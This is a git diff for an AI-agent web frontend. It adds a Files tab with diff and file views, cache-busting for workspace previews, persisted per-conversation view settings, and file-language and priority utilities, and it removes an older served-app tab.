- "fr": "Terminal (lecture seule)",
- "tr": "Terminal (salt okunur)",
- "de": "Terminal (schreibgeschützt)",
- "uk": "Термінал (тільки читання)",
- "ca": "Terminal (només lectura)"
+ "en": "Terminal",
+ "ja": "ターミナル",
+ "zh-CN": "终端",
+ "zh-TW": "終端機",
+ "ko-KR": "터미널",
+ "no": "Terminal",
+ "it": "Terminale",
+ "pt": "Terminal",
+ "es": "Terminal",
+ "ar": "الطرفية",
+ "fr": "Terminal",
+ "tr": "Terminal",
+ "de": "Terminal",
+ "uk": "Термінал",
+ "ca": "Terminal"
},
"COMMON$UNKNOWN": {
"en": "Unknown",
diff --git a/src/routes/files-tab.tsx b/src/routes/files-tab.tsx
new file mode 100644
index 0000000000..3fb7af5242
--- /dev/null
+++ b/src/routes/files-tab.tsx
@@ -0,0 +1,225 @@
+import { useEffect, useMemo, useState } from "react";
+import { useTranslation } from "react-i18next";
+import { useQueryClient } from "@tanstack/react-query";
+
+import { I18nKey } from "#/i18n/declaration";
+import { useWorkspaceFiles } from "#/hooks/query/use-workspace-files";
+import { useWorkspaceFileContent } from "#/hooks/query/use-workspace-file-content";
+import { useIsGitRepo } from "#/hooks/use-is-git-repo";
+import { useHasGitCommits } from "#/hooks/query/use-has-git-commits";
+import { useAutoRefreshFilesOnEdit } from "#/hooks/use-auto-refresh-files-on-edit";
+import { useUnifiedGetGitChanges } from "#/hooks/query/use-unified-get-git-changes";
+import { useOptionalConversationId } from "#/hooks/use-conversation-id";
+import { useConversationLocalStorageState } from "#/utils/conversation-local-storage";
+import {
+ useWorkspaceMutationCounter,
+ withWorkspaceCacheBuster,
+} from "#/stores/use-workspace-mutation-counter";
+import { sortFilesByPriority } from "#/utils/file-priority";
+import { FileQuickRow } from "#/components/features/files-tab/file-quick-row";
+import { FileTreeView } from "#/components/features/files-tab/file-tree-view";
+import { FileContentViewer } from "#/components/features/files-tab/file-content-viewer";
+import { SegmentedToggle } from "#/components/features/files-tab/segmented-toggle";
+import type { ViewMode } from "#/components/features/files-tab/view-mode";
+import RefreshIcon from "#/icons/u-refresh.svg?react";
+import LinkExternalIcon from "#/icons/link-external.svg?react";
+import GitChanges from "./changes-tab";
+
+function FilesTab() {
+ const { t } = useTranslation("openhands");
+
+ // Keep the list / content / diff caches fresh as the agent writes files.
+ useAutoRefreshFilesOnEdit();
+
+ const { isGitRepo, isLoading: isGitRepoLoading } = useIsGitRepo();
+ // A repo with zero commits has no diff base to compare against, so the
+ // diff view would just be empty / misleading. Only probe when we already
+ // believe there's a repo — saves a workspace round trip on every plain
+ // (non-git) conversation.
+ const { hasCommits } = useHasGitCommits({ enabled: isGitRepo });
+
+ // Diff view defaults to ON inside an existing git repo *with at least
+ // one commit*, OFF otherwise (no repo, or repo with no commits yet).
+ //
+ // While the repo / commit probes are still resolving we stay optimistic
+ // — most conversations live in a real repo, so defaulting to diff during
+ // the brief loading window avoids a "files → diff" flash on initial
+ // load. We only flip to files-view once `isGitRepo` *or* `hasCommits`
+ // definitively resolves false. The user's persisted choice always wins.
+ const { conversationId } = useOptionalConversationId();
+ const {
+ state: persistedState,
+ setFilesTabDiffView,
+ setFilesTabContentViewMode,
+ } = useConversationLocalStorageState(conversationId ?? "");
+
+ const diffViewDefault =
+ (isGitRepo || isGitRepoLoading) && hasCommits !== false;
+ const diffViewEnabled = persistedState.filesTabDiffView ?? diffViewDefault;
+ const contentViewMode = persistedState.filesTabContentViewMode;
+
+ // Collapsed by default — the quick-access pill row at the top is usually
+ // enough; the user can expand the tree on demand.
+ const [isTreeVisible, setIsTreeVisible] = useState(false);
+
+ const filesQuery = useWorkspaceFiles();
+ const paths = useMemo(() => filesQuery.data ?? [], [filesQuery.data]);
+
+ const [selectedPath, setSelectedPath] = useState<string | null>(null);
+
+ // Pre-fetch the selected file's content here too so the toolbar's
+ // "open in new window" link can reach for its `staticUrl`. react-query
+ // dedupes against `FileContentViewer`'s identical call, so this costs
+ // nothing extra.
+ const selectedFileContent = useWorkspaceFileContent(selectedPath);
+ const mutationCounter = useWorkspaceMutationCounter((state) => state.count);
+ const selectedFileStaticUrl = withWorkspaceCacheBuster(
+ selectedFileContent.data?.staticUrl ?? null,
+ mutationCounter,
+ );
+
+ // Auto-select the highest-priority file the first time we load the list,
+ // so users see something useful immediately.
+ useEffect(() => {
+ if (selectedPath || paths.length === 0) return;
+ const [first] = sortFilesByPriority(paths);
+ if (first) setSelectedPath(first);
+ }, [paths, selectedPath]);
+
+ // Refresh button: covers the diff view (git changes) and the file viewer
+ // (workspace listing + cached file contents). Lives in this toolbar — not
+ // in the outer ConversationTabs bar — so it sits with the other
+ // files-tab-local controls.
+ const queryClient = useQueryClient();
+ const { refetch: refetchGitChanges, isFetching: isFetchingGitChanges } =
+ useUnifiedGetGitChanges();
+ const refreshFiles = () => {
+ refetchGitChanges();
+ queryClient.invalidateQueries({ queryKey: ["workspace-files"] });
+ queryClient.invalidateQueries({ queryKey: ["workspace-file-content"] });
+ };
+
+ return (
+ <main
+ className="h-full w-full flex flex-col items-stretch"
+ data-testid="files-tab"
+ >
+ {/* Top toolbar: diff/files + rich/plain toggles (left-aligned) plus
+ the refresh button on the right. */}
+ <div className="flex items-center gap-3 px-3 py-1.5 border-b border-[#3A3D44]">
+ <SegmentedToggle<"on" | "off">
+ ariaLabel={t(I18nKey.FILES$DIFF_VIEW)}
+ testId="files-tab-diff-toggle"
+ value={diffViewEnabled ? "on" : "off"}
+ options={[
+ { value: "on", label: t(I18nKey.FILES$DIFF_VIEW) },
+ { value: "off", label: t(I18nKey.COMMON$FILES) },
+ ]}
+ onChange={(value) => setFilesTabDiffView(value === "on")}
+ />
+
+ {!diffViewEnabled && (
+ <SegmentedToggle<ViewMode>
+ ariaLabel={t(I18nKey.FILES$RICH)}
+ testId="files-tab-content-mode-toggle"
+ value={contentViewMode}
+ options={[
+ { value: "rich", label: t(I18nKey.FILES$RICH) },
+ { value: "plain", label: t(I18nKey.FILES$PLAIN) },
+ ]}
+ onChange={setFilesTabContentViewMode}
+ />
+ )}
+
+ <div className="ml-auto flex items-center gap-1">
+ {/* Open the currently-selected file in a new browser tab. Only
+ meaningful while we're showing a file (not the diff view) and
+ we've resolved its staticUrl from the workspace fileserver. */}
+ {!diffViewEnabled && selectedFileStaticUrl && (
+ <a
+ href={selectedFileStaticUrl}
+ target="_blank"
+ rel="noopener noreferrer"
+ aria-label={t(I18nKey.FILES$OPEN_IN_NEW_WINDOW)}
+ title={t(I18nKey.FILES$OPEN_IN_NEW_WINDOW)}
+ data-testid="files-tab-open-in-new-window"
+ className="flex items-center justify-center w-[26px] py-1 rounded-[7px] hover:bg-[#474A54] cursor-pointer text-white"
+ >
+ <LinkExternalIcon width={14} height={14} />
+ </a>
+ )}
+ <button
+ type="button"
+ onClick={refreshFiles}
+ disabled={isFetchingGitChanges}
+ aria-label={t(I18nKey.COMMON$FILES)}
+ data-testid="files-tab-refresh"
+ className="flex items-center justify-center w-[26px] py-1 rounded-[7px] hover:enabled:bg-[#474A54] cursor-pointer disabled:opacity-50 disabled:cursor-not-allowed"
+ >
+ <RefreshIcon
+ width={12.75}
+ height={15}
+ color="#ffffff"
+ className={isFetchingGitChanges ? "animate-spin" : ""}
+ />
+ </button>
+ </div>
+ </div>
+
+ {diffViewEnabled ? (
+ <div className="flex-1 min-h-0">
+ <GitChanges />
+ </div>
+ ) : (
+ <div className="flex flex-1 flex-col min-h-0">
+ {filesQuery.isLoading ? (
+ <div className="flex flex-1 items-center justify-center text-sm text-[#9299AA]">
+ {t(I18nKey.FILES$LOADING_FILES)}
+ </div>
+ ) : (
+ <>
+ <FileQuickRow
+ paths={paths}
+ selectedPath={selectedPath}
+ onSelectFile={setSelectedPath}
+ isTreeVisible={isTreeVisible}
+ onToggleTree={() => setIsTreeVisible((prev) => !prev)}
+ />
+ <div className="flex flex-1 min-h-0">
+ {isTreeVisible && (
+ <aside
+ className="w-56 shrink-0 border-r border-[#3A3D44] overflow-y-auto custom-scrollbar-always"
+ data-testid="files-tab-tree"
+ >
+ <FileTreeView
+ paths={paths}
+ selectedPath={selectedPath}
+ onSelectFile={setSelectedPath}
+ />
+ </aside>
+ )}
+ <section
+ className="flex-1 min-w-0 min-h-0"
+ data-testid="files-tab-content"
+ >
+ {selectedPath ? (
+ <FileContentViewer
+ path={selectedPath}
+ viewMode={contentViewMode}
+ />
+ ) : (
+ <div className="flex h-full w-full items-center justify-center text-sm text-[#9299AA]">
+ {t(I18nKey.FILES$NO_FILE_SELECTED)}
+ </div>
+ )}
+ </section>
+ </div>
+ </>
+ )}
+ </div>
+ )}
+ </main>
+ );
+}
+
+export default FilesTab;
diff --git a/src/routes/served-tab.tsx b/src/routes/served-tab.tsx
deleted file mode 100644
index 621cf1859b..0000000000
--- a/src/routes/served-tab.tsx
+++ /dev/null
@@ -1,107 +0,0 @@
-import React from "react";
-import { FaArrowRotateRight } from "react-icons/fa6";
-import { FaExternalLinkAlt, FaHome } from "react-icons/fa";
-import { useTranslation } from "react-i18next";
-import { useUnifiedActiveHost } from "#/hooks/query/use-unified-active-host";
-import { PathForm } from "#/components/features/served-host/path-form";
-import { I18nKey } from "#/i18n/declaration";
-import ServerProcessIcon from "#/icons/server-process.svg?react";
-
-function ServedApp() {
- const { t } = useTranslation("openhands");
- const { activeHost } = useUnifiedActiveHost();
- const [refreshKey, setRefreshKey] = React.useState(0);
- const [currentActiveHost, setCurrentActiveHost] = React.useState<
- string | null
- >(null);
- const [path, setPath] = React.useState<string>("hello");
-
- const formRef = React.useRef<HTMLFormElement>(null);
-
- const handleOnBlur = () => {
- if (formRef.current) {
- const formData = new FormData(formRef.current);
- const urlInputValue = formData.get("url")?.toString();
-
- if (urlInputValue) {
- const url = new URL(urlInputValue);
-
- setCurrentActiveHost(url.origin);
- setPath(url.pathname);
- }
- }
- };
-
- const resetUrl = () => {
- setCurrentActiveHost(activeHost);
- setPath("");
-
- if (formRef.current) {
- formRef.current.reset();
- }
- };
-
- React.useEffect(() => {
- resetUrl();
- }, [activeHost]);
-
- const fullUrl = `${currentActiveHost}/${path}`;
-
- if (!currentActiveHost) {
- return (
- <div className="flex flex-col items-center justify-center w-full h-full p-10">
- <ServerProcessIcon width={113} height={113} color="#A1A1A1" />
- <span className="text-[#8D95A9] text-[19px] font-normal leading-5">
- {t(I18nKey.BROWSER$SERVER_MESSAGE)}
- </span>
- </div>
- );
- }
-
- return (
- <div className="h-full w-full">
- <div className="w-full p-2 flex items-center gap-4 border-b border-neutral-600">
- <button
- type="button"
- onClick={() => window.open(fullUrl, "_blank")}
- className="text-sm"
- aria-label={t(I18nKey.BUTTON$OPEN_IN_NEW_TAB)}
- >
- <FaExternalLinkAlt className="w-4 h-4" />
- </button>
- <button
- type="button"
- onClick={() => setRefreshKey((prev) => prev + 1)}
- className="text-sm"
- aria-label={t(I18nKey.BUTTON$REFRESH)}
- >
- <FaArrowRotateRight className="w-4 h-4" />
- </button>
-
- <button
- type="button"
- onClick={() => resetUrl()}
- className="text-sm"
- aria-label={t(I18nKey.BUTTON$HOME)}
- >
- <FaHome className="w-4 h-4" />
- </button>
- <div className="w-full flex">
- <PathForm
- ref={formRef}
- onBlur={handleOnBlur}
- defaultValue={fullUrl}
- />
- </div>
- </div>
- <iframe
- key={refreshKey}
- title={t(I18nKey.SERVED_APP$TITLE)}
- src={fullUrl}
- className="w-full h-full custom-scrollbar-always"
- />
- </div>
- );
-}
-
-export default ServedApp;
diff --git a/src/stores/conversation-store.ts b/src/stores/conversation-store.ts
index 5029e9d2a3..8a375145ba 100644
--- a/src/stores/conversation-store.ts
+++ b/src/stores/conversation-store.ts
@@ -6,9 +6,8 @@ import {
} from "#/utils/conversation-local-storage";
export type ConversationTab =
- | "editor"
+ | "files"
| "browser"
- | "served"
| "vscode"
| "terminal"
| "planner"
@@ -131,7 +130,7 @@ export const useConversationStore = create<ConversationStore>()(
(set) => ({
// Initial state
isRightPanelShown: getInitialRightPanelState(),
- selectedTab: "editor" as ConversationTab,
+ selectedTab: "files" as ConversationTab,
images: [],
files: [],
uploadImagesAsFiles: false,
diff --git a/src/stores/use-workspace-mutation-counter.ts b/src/stores/use-workspace-mutation-counter.ts
new file mode 100644
index 0000000000..5a570ce437
--- /dev/null
+++ b/src/stores/use-workspace-mutation-counter.ts
@@ -0,0 +1,46 @@
+import { create } from "zustand";
+
+/**
+ * Monotonic counter that ticks every time the agent commits a file-editor
+ * mutation in the workspace. Used as a cache-buster for resources we serve
+ * via the agent server's static workspace fileserver (iframes, images, PDFs):
+ * appending `?v=<count>` to those URLs forces the browser to re-request a
+ * fresh copy after each edit instead of reusing the previously-fetched
+ * response — important because the rendered HTML may reference other
+ * assets (CSS, images) that the user can't see directly but expects to
+ * reflect the latest version of the workspace.
+ *
+ * Consumers:
+ * - {@link useAutoRefreshFilesOnEdit} bumps this on each mutation event.
+ * - {@link FileContentViewer} reads the count and appends it to its
+ * `<iframe>` / `<img>` src.
+ */
+interface WorkspaceMutationCounterState {
+ count: number;
+ bump: () => void;
+}
+
+export const useWorkspaceMutationCounter =
+ create<WorkspaceMutationCounterState>((set) => ({
+ count: 0,
+ bump: () => set((state) => ({ count: state.count + 1 })),
+ }));
+
+/**
+ * Append the current mutation counter as a `v=<n>` query parameter so the
+ * browser refetches the URL after every agent-side edit. Returns `null` if
+ * the input is `null` so callers can pass through optional URLs untouched.
+ */
+export function withWorkspaceCacheBuster(url: string, version: number): string;
+export function withWorkspaceCacheBuster(
+ url: string | null,
+ version: number,
+): string | null;
+export function withWorkspaceCacheBuster(
+ url: string | null,
+ version: number,
+): string | null {
+ if (url === null) return null;
+ const sep = url.includes("?") ? "&" : "?";
+ return `${url}${sep}v=${version}`;
+}
diff --git a/src/utils/conversation-local-storage.ts b/src/utils/conversation-local-storage.ts
index 4beb800b88..2ef8dcce94 100644
--- a/src/utils/conversation-local-storage.ts
+++ b/src/utils/conversation-local-storage.ts
@@ -3,6 +3,7 @@ import type {
ConversationTab,
ConversationMode,
} from "#/stores/conversation-store";
+import type { ViewMode } from "#/components/features/files-tab/view-mode";
export const LOCAL_STORAGE_KEYS = {
CONVERSATION_STATE: "conversation-state",
@@ -24,17 +25,79 @@ export interface ConversationState {
conversationMode: ConversationMode;
subConversationTaskId: string | null;
draftMessage: string | null;
+ /**
+ * User's persisted choice for the Files tab diff-vs-files toggle.
+ * `null` means "no explicit choice yet" — the Files tab then falls back
+ * to its repo-aware default (diff inside a git repo with commits, files
+ * otherwise).
+ */
+ filesTabDiffView: boolean | null;
+ /** User's persisted choice for the Files tab Rich/Plain content toggle. */
+ filesTabContentViewMode: ViewMode;
}
const DEFAULT_CONVERSATION_STATE: ConversationState = {
- selectedTab: "editor",
+ selectedTab: "files",
rightPanelShown: true,
unpinnedTabs: [],
conversationMode: "code",
subConversationTaskId: null,
draftMessage: null,
+ filesTabDiffView: null,
+ filesTabContentViewMode: "rich",
};
+const VALID_CONVERSATION_TABS: ReadonlySet<ConversationTab> = new Set([
+ "files",
+ "browser",
+ "vscode",
+ "terminal",
+ "planner",
+ "tasklist",
+]);
+
+// Tab keys that *used to* exist and were removed during the Files tab
+// refactor. We strip these out of any persisted state on read so that
+// returning users don't keep ghost entries (in `selectedTab` or
+// `unpinnedTabs`) forever — the UI has no way to surface them again to
+// be re-pinned or re-selected. We deliberately use an explicit denylist
+// here rather than a strict "whitelist against VALID_CONVERSATION_TABS"
+// filter because `unpinnedTabs` is typed `string[]` and other parts of
+// the app legitimately store arbitrary tab keys in it (sub-conversation
+// tab ids etc.).
+const REMOVED_CONVERSATION_TABS: ReadonlySet<string> = new Set([
+ "editor",
+ "served",
+ "changes",
+ "app",
+]);
+
+function sanitizeStoredState(
+ stored: Partial<ConversationState>,
+): Partial<ConversationState> {
+ let result: Partial<ConversationState> = stored;
+
+ if (
+ result.selectedTab != null &&
+ (REMOVED_CONVERSATION_TABS.has(result.selectedTab) ||
+ !VALID_CONVERSATION_TABS.has(result.selectedTab as ConversationTab))
+ ) {
+ result = { ...result };
+ delete result.selectedTab;
+ }
+
+ if (result.unpinnedTabs) {
+ const filtered = result.unpinnedTabs.filter(
+ (tab) => !REMOVED_CONVERSATION_TABS.has(tab),
+ );
+ if (filtered.length !== result.unpinnedTabs.length) {
+ result = { ...result, unpinnedTabs: filtered };
+ }
+ }
+
+ return result;
+}
+
/**
* Check if a conversation ID is a temporary task ID that should not be persisted.
* Task IDs have the format "task-{uuid}" and are used during V1 conversation initialization.
@@ -43,20 +106,36 @@ export function isTaskConversationId(conversationId: string): boolean {
return conversationId.startsWith("task-");
}
+/**
+ * Whether persistence should be skipped for this conversation id.
+ *
+ * Skips:
+ * - empty string ids (callers outside of a conversation route, e.g.
+ * rendered inside a unit test without a NavigationProvider)
+ * - "task-..." ids used as placeholders during V1 conversation
+ * initialization
+ */
+function shouldSkipPersistence(conversationId: string): boolean {
+ return conversationId === "" || isTaskConversationId(conversationId);
+}
+
/**
* Get the full conversation state from localStorage.
*/
export function getConversationState(
conversationId: string,
): ConversationState {
- if (isTaskConversationId(conversationId)) {
+ if (shouldSkipPersistence(conversationId)) {
return DEFAULT_CONVERSATION_STATE;
}
try {
const key = `${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-${conversationId}`;
const item = localStorage.getItem(key);
if (item !== null) {
- return { ...DEFAULT_CONVERSATION_STATE, ...JSON.parse(item) };
+ return {
+ ...DEFAULT_CONVERSATION_STATE,
+ ...sanitizeStoredState(JSON.parse(item)),
+ };
}
return DEFAULT_CONVERSATION_STATE;
} catch {
@@ -71,7 +150,7 @@ export function setConversationState(
conversationId: string,
updates: Partial<ConversationState>,
): void {
- if (isTaskConversationId(conversationId)) {
+ if (shouldSkipPersistence(conversationId)) {
return;
}
try {
@@ -124,6 +203,8 @@ export function useConversationLocalStorageState(conversationId: string): {
setUnpinnedTabs: (tabs: string[]) => void;
setConversationMode: (mode: ConversationMode) => void;
setDraftMessage: (message: string | null) => void;
+ setFilesTabDiffView: (diffView: boolean | null) => void;
+ setFilesTabContentViewMode: (mode: ViewMode) => void;
} {
const [state, setState] = useState<ConversationState>(() =>
getConversationState(conversationId),
@@ -172,6 +253,14 @@ export function useConversationLocalStorageState(conversationId: string): {
}, [conversationId]);
const updateState = (updates: Partial<ConversationState>) => {
+ if (shouldSkipPersistence(conversationId)) {
+ // No durable storage for this id (empty / task placeholder), but the
+ // hook is still useful as ephemeral in-memory state — update the
+ // local React mirror directly so toggles in the UI behave normally
+ // until a real conversation id arrives.
+ setState((prev) => ({ ...prev, ...updates }));
+ return;
+ }
setConversationState(conversationId, updates);
};
@@ -182,5 +271,9 @@ export function useConversationLocalStorageState(conversationId: string): {
setUnpinnedTabs: (tabs) => updateState({ unpinnedTabs: tabs }),
setConversationMode: (mode) => updateState({ conversationMode: mode }),
setDraftMessage: (message) => updateState({ draftMessage: message }),
+ setFilesTabDiffView: (diffView) =>
+ updateState({ filesTabDiffView: diffView }),
+ setFilesTabContentViewMode: (mode) =>
+ updateState({ filesTabContentViewMode: mode }),
};
}
diff --git a/src/utils/file-language.ts b/src/utils/file-language.ts
new file mode 100644
index 0000000000..4aaa4f2298
--- /dev/null
+++ b/src/utils/file-language.ts
@@ -0,0 +1,190 @@
+// Map a workspace-file path to a Prism grammar name (or `null` when we
+// don't have a registered grammar for it, in which case the caller should
+// fall back to plain pre/text rendering).
+//
+// We rely on the language allowlist already registered in
+// `src/components/features/markdown/syntax-highlighter.ts` — every entry
+// here MUST resolve to either a language name or an alias that file
+// registers, otherwise PrismLight will fall back to no highlighting at
+// all (and log a warning).
+//
+// Two lookup keys are tried, in order:
+// 1. The lowercased final-segment extension (`tsx`, `py`, `yaml`, …).
+// 2. A few well-known no-extension filenames (`Dockerfile`, `Makefile`).
+// We deliberately keep this list tight: every entry maps a real file
+// users see in workspaces to a grammar Prism actually understands.
+const EXTENSION_TO_LANGUAGE: Record<string, string> = {
+ // JS / TS family
+ js: "javascript",
+ jsx: "jsx",
+ mjs: "javascript",
+ cjs: "javascript",
+ ts: "typescript",
+ tsx: "tsx",
+
+ // Python
+ py: "python",
+ pyi: "python",
+ pyw: "python",
+
+ // Web
+ html: "markup",
+ htm: "markup",
+ svg: "markup",
+ xml: "markup",
+ css: "css",
+ scss: "scss",
+ sass: "sass",
+ less: "less",
+
+ // Data / config
+ json: "json",
+ json5: "json5",
+ yaml: "yaml",
+ yml: "yaml",
+ toml: "toml",
+ ini: "ini",
+ cfg: "ini",
+ properties: "properties",
+ conf: "ini",
+ env: "bash",
+
+ // Markdown / docs
+ md: "markdown",
+ markdown: "markdown",
+ mdx: "markdown",
+
+ // Shell / scripts
+ sh: "bash",
+ bash: "bash",
+ zsh: "bash",
+ fish: "bash",
+ bat: "batch",
+ cmd: "batch",
+ ps1: "powershell",
+ ps: "powershell",
+
+ // Systems
+ c: "c",
+ h: "c",
+ cpp: "cpp",
+ cc: "cpp",
+ cxx: "cpp",
+ hpp: "cpp",
+ hh: "cpp",
+ cs: "csharp",
+ java: "java",
+ kt: "kotlin",
+ kts: "kotlin",
+ scala: "scala",
+ rs: "rust",
+ go: "go",
+ rb: "ruby",
+ php: "php",
+ swift: "swift",
+ m: "objectivec",
+ mm: "objectivec",
+
+ // Functional
+ hs: "haskell",
+ ex: "elixir",
+ exs: "elixir",
+ erl: "erlang",
+ fs: "fsharp",
+ fsx: "fsharp",
+ ml: "ocaml",
+ mli: "ocaml",
+ clj: "clojure",
+ cljs: "clojure",
+ cljc: "clojure",
+
+ // Scripting / data
+ lua: "lua",
+ pl: "perl",
+ pm: "perl",
+ r: "r",
+ jl: "julia",
+ dart: "dart",
+ groovy: "groovy",
+ gradle: "groovy",
+
+ // Infrastructure
+ tf: "hcl",
+ hcl: "hcl",
+ dockerfile: "docker",
+
+ // Misc text
+ sql: "sql",
+ graphql: "graphql",
+ gql: "graphql",
+ proto: "protobuf",
+ diff: "diff",
+ patch: "diff",
+ nix: "nix",
+ sol: "solidity",
+};
+
+const FILENAME_TO_LANGUAGE: Record<string, string> = {
+ dockerfile: "docker",
+ makefile: "makefile",
+ gnumakefile: "makefile",
+ ".bashrc": "bash",
+ ".zshrc": "bash",
+ ".profile": "bash",
+ ".env": "bash",
+ ".gitignore": "bash",
+ ".dockerignore": "bash",
+};
+
+function getExtension(path: string): string {
+ const slashIdx = Math.max(path.lastIndexOf("/"), path.lastIndexOf("\\"));
+ const basename = path.slice(slashIdx + 1);
+ const dotIdx = basename.lastIndexOf(".");
+ if (dotIdx <= 0) return "";
+ return basename.slice(dotIdx + 1).toLowerCase();
+}
+
+function getBasename(path: string): string {
+ const slashIdx = Math.max(path.lastIndexOf("/"), path.lastIndexOf("\\"));
+ return path.slice(slashIdx + 1).toLowerCase();
+}
+
+/**
+ * Resolve a path (and optionally a MIME type) to a Prism grammar name.
+ * Returns `null` when no grammar matches — the caller should then render
+ * the source as plain text rather than feeding "unknown" to Prism (which
+ * still produces an extra wrapper with no highlighting).
+ */
+export function getPrismLanguageForFile(
+ path: string,
+ mimeType?: string,
+): string | null {
+ const basename = getBasename(path);
+ const fromBasename = FILENAME_TO_LANGUAGE[basename];
+ if (fromBasename) return fromBasename;
+
+ const ext = getExtension(path);
+ if (ext && EXTENSION_TO_LANGUAGE[ext]) {
+ return EXTENSION_TO_LANGUAGE[ext];
+ }
+
+ // MIME-type fallbacks for the handful of cases where the path lacks a
+ // useful extension but the server told us what it is.
+ if (mimeType) {
+ if (mimeType === "text/html") return "markup";
+ if (mimeType === "text/css") return "css";
+ if (mimeType === "application/json") return "json";
+ if (mimeType === "text/markdown") return "markdown";
+ if (
+ mimeType === "application/javascript" ||
+ mimeType === "text/javascript"
+ ) {
+ return "javascript";
+ }
+ if (mimeType === "application/x-yaml" || mimeType === "text/yaml") {
+ return "yaml";
+ }
+ }
+
+ return null;
+}
diff --git a/src/utils/file-priority.ts b/src/utils/file-priority.ts
new file mode 100644
index 0000000000..6f2fb8c75f
--- /dev/null
+++ b/src/utils/file-priority.ts
@@ -0,0 +1,102 @@
+/**
+ * Utilities for ranking workspace files by "importance" so that the file-tab
+ * top-row surfaces the entry points (`index.html`, `README.md`, `package.json`,
+ * etc.) ahead of nested utility modules.
+ */
+
+/**
+ * File basenames (lowercased) that are almost always the entrypoint for a
+ * project. Lower index = higher priority.
+ */
+const HIGH_PRIORITY_BASENAMES: string[] = [
+ "index.html",
+ "index.htm",
+ "readme.md",
+ "readme",
+ "main.html",
+ "app.html",
+ "index.js",
+ "index.ts",
+ "index.tsx",
+ "index.jsx",
+ "main.py",
+ "app.py",
+ "main.go",
+ "main.rs",
+ "main.java",
+ "main.c",
+ "main.cpp",
+ "package.json",
+ "pyproject.toml",
+ "cargo.toml",
+ "go.mod",
+ "pom.xml",
+ "dockerfile",
+ "makefile",
+];
+
+/**
+ * Filenames that are useful but typically of secondary interest compared to
+ * the entrypoints above.
+ */
+const SECONDARY_BASENAMES: string[] = [
+ "license",
+ "license.md",
+ "license.txt",
+ "changelog.md",
+ "agents.md",
+ "tsconfig.json",
+ ".env.sample",
+ ".env.example",
+];
+
+function getBasename(path: string): string {
+ const idx = path.lastIndexOf("/");
+ return (idx === -1 ? path : path.slice(idx + 1)).toLowerCase();
+}
+
+function pathDepth(path: string): number {
+ return path.split("/").length - 1;
+}
+
+/**
+ * Rank a path *within its own depth bucket*: high-priority entrypoints
+ * first (in the order listed), then secondary supporting files, then
+ * everything else. Depth is the primary sort axis applied by
+ * {@link sortFilesByPriority}; this score is the tie-breaker for paths at
+ * the same depth.
+ */
+export function filePriorityScore(path: string): number {
+ const base = getBasename(path);
+
+ const highIdx = HIGH_PRIORITY_BASENAMES.indexOf(base);
+ if (highIdx !== -1) return highIdx;
+
+ const secondaryIdx = SECONDARY_BASENAMES.indexOf(base);
+ if (secondaryIdx !== -1) return 1000 + secondaryIdx;
+
+ return 10000;
+}
+
+/**
+ * Returns a copy of `paths` sorted so the most likely "landing files" come
+ * first.
+ *
+ * Sort order:
+ * 1. Shallower paths beat deeper ones, unconditionally. A top-level
+ * `README.md` outranks `foo/bar/index.html` even though `index.html`
+ * is a more "important" basename — the user almost always cares more
+ * about top-level files when they first open a project.
+ * 2. Within the same depth, basenames are ordered by importance
+ * (`index.html` before `README.md` before random utility modules).
+ * 3. Final tie-breaker is alphabetical.
+ */
+export function sortFilesByPriority(paths: string[]): string[] {
+ return [...paths].sort((a, b) => {
+ const depthDiff = pathDepth(a) - pathDepth(b);
+ if (depthDiff !== 0) return depthDiff;
+ const scoreDiff = filePriorityScore(a) - filePriorityScore(b);
+ if (scoreDiff !== 0) return scoreDiff;
+ return a.localeCompare(b);
+ });
+}
diff --git a/src/utils/file-tree.ts b/src/utils/file-tree.ts
new file mode 100644
index 0000000000..280d808924
--- /dev/null
+++ b/src/utils/file-tree.ts
@@ -0,0 +1,98 @@
+export interface FileTreeNode {
+ name: string;
+ path: string; // full path relative to workspace root
+ isDirectory: boolean;
+ children: FileTreeNode[];
+}
+
+function sortTreeInPlace(node: FileTreeNode): void {
+ node.children.sort((a, b) => {
+ if (a.isDirectory !== b.isDirectory) return a.isDirectory ? -1 : 1;
+ return a.name.localeCompare(b.name);
+ });
+ for (const child of node.children) {
+ if (child.isDirectory) sortTreeInPlace(child);
+ }
+}
+
+/**
+ * Build a tree representation of a flat list of relative file paths.
+ * Directories are sorted before files; siblings are sorted alphabetically.
+ *
+ * Implementation notes:
+ * - We keep a side-table mapping each parent node to its own
+ * `Map<name, child>` so adding a segment is O(1) instead of the
+ * O(n) `children.find(...)` linear scan we used to do. With a
+ * directory containing 1000 siblings, the old code did ~500k string
+ * comparisons just to bucket them all in; the Map cuts that to
+ * ~1000. The side-table lives only for the duration of the build
+ * call so the public FileTreeNode shape stays clean.
+ * - If we encounter a path like `"src"` followed by `"src/index.ts"`,
+ * the first entry creates `src` as a file (`isDirectory: false`),
+ * then the second needs to add a child to it. We promote the leaf
+ * to a directory in that case rather than dropping the child on
+ * the floor. (The flat input shouldn't normally contain both, but
+ * defensive coding here is cheap and keeps the tree well-formed.)
+ */
+
+function getOrCreateChild(
+ parent: FileTreeNode,
+ childMap: Map<FileTreeNode, Map<string, FileTreeNode>>,
+ segment: string,
+ prefix: string,
+ isLast: boolean,
+): FileTreeNode {
+ let map = childMap.get(parent);
+ if (!map) {
+ map = new Map();
+ childMap.set(parent, map);
+ }
+ const existing = map.get(segment);
+ if (existing) {
+ // Promote a leaf to a directory if we're about to descend into it.
+ if (!isLast && !existing.isDirectory) {
+ existing.isDirectory = true;
+ }
+ return existing;
+ }
+ const node: FileTreeNode = {
+ name: segment,
+ path: prefix,
+ isDirectory: !isLast,
+ children: [],
+ };
+ parent.children.push(node);
+ map.set(segment, node);
+ return node;
+}
+
+export function buildFileTree(paths: string[]): FileTreeNode {
+ const root: FileTreeNode = {
+ name: "",
+ path: "",
+ isDirectory: true,
+ children: [],
+ };
+
+ // Side-table mapping a parent node to its child lookup map. Keeping the
+ // accelerator out of the FileTreeNode shape itself means consumers never
+ // see it — no post-build cleanup pass, and the public type stays clean.
+ const childMap = new Map<FileTreeNode, Map<string, FileTreeNode>>();
+
+ for (const path of paths) {
+ const segments = path.split("/").filter(Boolean);
+ if (segments.length > 0) {
+ let cursor: FileTreeNode = root;
+ let prefix = "";
+ for (let i = 0; i < segments.length; i += 1) {
+ const segment = segments[i];
+ prefix = prefix ? `${prefix}/${segment}` : segment;
+ const isLast = i === segments.length - 1;
+ cursor = getOrCreateChild(cursor, childMap, segment, prefix, isLast);
+ }
+ }
+ }
+
+ sortTreeInPlace(root);
+ return root;
+}